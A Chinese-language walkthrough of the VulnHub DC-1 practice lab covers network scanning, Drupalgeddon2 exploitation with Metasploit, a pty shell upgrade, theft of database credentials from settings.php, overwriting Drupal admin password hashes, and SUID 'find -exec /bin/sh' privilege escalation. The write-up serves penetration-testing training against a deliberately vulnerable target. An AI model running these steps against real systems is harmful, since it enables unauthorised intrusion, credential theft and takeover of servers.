DC-1靶场搭建及渗透实战 超详细 过程

Source

目录

一、环境搭建

1、准备工具

kali虚拟机

DC-1靶场

2、DC-1靶机安装过程

二、渗透过程

1、信息收集

a、探测扫描目标主机ip地址

b、探测目标主机ip开放端口

c、网页收集信息

2、漏洞查找与利用

a、漏洞查找

b、漏洞利用

3、获取命令行shell(Getshell)

a、获取shell普通权限

b、获取交互shell

4、数据库渗透

6、提权


一、环境搭建

1、准备工具

kali虚拟机

如未安装,安装如下

https://blog.csdn.net/A1_3_9_7/article/details/146263463

DC-1靶场

官方下载链接,点击即可下载

 https://download.vulnhub.com/dc/DC-1.zip

2、DC-1靶机安装过程

解压刚才下载文件

打开虚拟机选择文件--->打开

打开选择刚刚下载文件,导入.ova文件

设置文件名和路径,点击导入

第一次导入会提示失败,点击重试

开启靶机后,显示如下状态表示开机成功

接下配置网络连接模式,使kali与DC靶机是同一连接模式,这样kali扫描时才能扫到DC靶机

我这里选择,将kali与靶机都是nat模式

如何更改连接模式,操作如下:

右键目标靶机--->点击设置

配置完成后,点击确定

kali同样操作

到此问我们环境搭建已完成

二、渗透过程

打开kali,使用root用户登陆或者登陆后在切换root模式

1、信息收集

a、探测扫描目标主机ip地址

探测主机的工具有很多,子常见的有两种:arp-scan、nmap、netdiscover

  • arp-scan
arp-scan -l

该命令是扫描本地子网中所有活跃的设备

然后我们查看一下DC靶机的mac地址

右键选中靶机--->设置--->网络适配器--->高级

  • nmap

首先查看一下kali的ip

ifconfig

拿到IP后,使用nmap扫描网段

nmap -sV 192.168.214.0/24 

在这里 192.168.214.0/24是为什么呢?

这个网段的可用ip范围是:192.168.214.1~192.168.214.254

网络地址:192.168.214.0

广播地址:192168.214.255

子网掩码:255.255.255.0代表24位网络地址

                 在IP地址总长度32位中  24位网络位  8位主机位

这是使用nmap工具

  • netdiscover

这个速度相对比前面慢一些,耐心等待~

netdiscover

b、探测目标主机ip开放端口

依旧使用nmap来做探测

nmap -sV -p- 192.168.214.135
  • -sS:TCP SYN扫描(只检测端口状态)

  • -sV:版本检测(检测端口状态+服务版本)

  • -A:全面扫描(包含版本检测+OS检测+脚本扫描)

  • -p- 是扫描全部端口0~65535

22和80是一个突破口,80是http协议,用浏览器访问

c、网页收集信息

利用火绒插件wappalyzer,利用工具很直观看到CMS是Drupal

也可以使用kali自带工具whatweb

whatweb -v 192.168.214.135

一样扫出CMS

使用dirsearch工具扫描目录

dirsearch -u 192.168.214.135 -e *

-u   url目标url

-e   要扫的文件扩展名

扫除目录有很多,先放着

2、漏洞查找与利用

知道CMS时Drupla,经过搜索发现是框架漏洞

a、漏洞查找

使用工具metasploit目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

搜索drupla模块

search Drupal

可以看到cms框架有很多漏洞,选择等级最高的漏洞模块并且时间最新,所以选择2018年的

b、漏洞利用

使用漏洞模块,使用编号或者使用漏洞名称都可以

use 1    #编号1是我们选择的漏洞模块

或者------

use exploit/unix/webapp/drupal_drupalgeddon2    #使用漏洞名称

查看漏洞模块

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

缺少RHOSTS内容(这里面是目标ip,也就是靶场ip,下面LHOST才是攻击者ip)

set RHOSTS 192.168.214.135

配置完成后,来查看一下是否设置成功

show options

配置好这些后,开始攻击run

run

出现这个,攻击成功喽

3、获取命令行shell(Getshell)

a、获取shell普通权限

也就是获得目标服务器的命令行控制界面

shell

查看当前目录列表

ls

发现一个特殊文件flag1.txt

b、获取交互shell

为了简洁美观,利用python实现交互shell,前提必须有python(一般kali有自带python)

如果不确定自己kali是否有python,如图显示版本号就有python

回到正题:利用python实现交互

python -c 'import pty; pty.spawn("/bin/bash")'

可以看到这个shell权限只是普通权限,先来尝试找一下flag1.txt文件

tac flag1.txt

tac 倒叙查看

cat 正序输出

提示我们要找配置文件

cd sites    

cd default

cd        表示切换目录

ls         查看当前目录列表

tac settings.php

如果先这样找配置文件太麻烦可以使用find命令进行查找

cat `find / -name settings.php`

找到settings.php后,查看一下里面内容

成功找到flag2,提示我们要获得高级权限

同时也发现了数据库账号密码

4、数据库渗透

既然给了账号密码,登陆一下试试呗

mysql -udbuser -pR0ck3t

welcom登陆成功

查看数据库

show databases;

看到有一个特殊数据库drupal

使用数据库,并且查看表

use drupal;show tables;

注意到有一个users表,查看一下内容

记得先调校字体,不然屏幕挤不下

select * from users;

得到了两个用户和两组密码,不是明文

我们要通过修改用户密码,来登陆

要修改密码,要先找到加密文件,先退出mysql

exit
ls

这是一脚本文件,切换到该目录查看

cd scripts

查看一下

cat password-hash.sh

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 

php /var/www/scripts/password-hash.sh 123456

得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3t
 
use drupaldb;update users set pass = "$S$DwSsuJZg9sNMnzfvkOg4EKvt7lMBdQ95kMfBrim.0EXmCA71skhh where name = 'admin' or name = 'Fred';

接着我们登录网站,找到flag3

登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

接着我们查看用户信息

tac /etc/passwd

可以看到flag4这个用户,我这里用到的方法是提权打开shadow文件

6、提权

使用find命令找到具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

find比较常用,它可以执行root权限的命令查找文件

find / -name index.php -exec "/bin/sh" \;
中间查找什么文件不重要,只要存在就行

提权成功,接下来找到flag

cd /root

ls

cat *

成功!